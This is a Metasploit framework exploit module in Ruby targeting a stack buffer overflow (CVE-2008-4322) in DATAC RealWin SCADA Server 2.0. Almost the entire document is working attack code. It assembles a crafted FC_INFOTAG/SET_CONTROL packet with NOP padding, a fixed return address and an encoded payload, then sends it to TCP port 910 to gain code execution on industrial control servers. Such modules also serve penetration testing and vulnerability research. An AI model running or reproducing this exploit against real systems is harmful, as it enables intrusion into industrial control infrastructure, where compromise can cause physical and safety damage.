DATAC RealWin SCADA Server Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DATAC RealWin SCADA Server Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in DATAC Control  
International RealWin SCADA Server 2.0 (Build 6.0.10.37).   
By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,   
an attacker may be able to execute arbitrary code.   
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,   
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2008-4322' ],  
[ 'OSVDB', '48606' ],  
[ 'BID', '31418' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 550,  
'BadChars' => "\x00\x20\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Universal', { 'Offset' => 740, 'Ret' => 0x4001e2a9 } ], # Thanks Jacopo!  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Sep 26 2008'))  
  
register_options([Opt::RPORT(910)], self.class)  
  
end  
  
def exploit  
connect  
  
data = [0x67542310].pack('V')  
data << [0x00000800].pack('V')  
data << [0x000a77e3].pack('V')  
data << [0x00040005].pack('V')  
data << "\x00\x00"   
data << make_nops(target['Offset'])   
data << [target.ret].pack('V')  
data << [0x00404040].pack('V')  
data << payload.encoded   
data << make_nops(1024)  
  
print_status("Trying target #{target.name}...")   
sock.get_once   
sock.put(data)  
  
handler  
disconnect  
end  
  
end  
`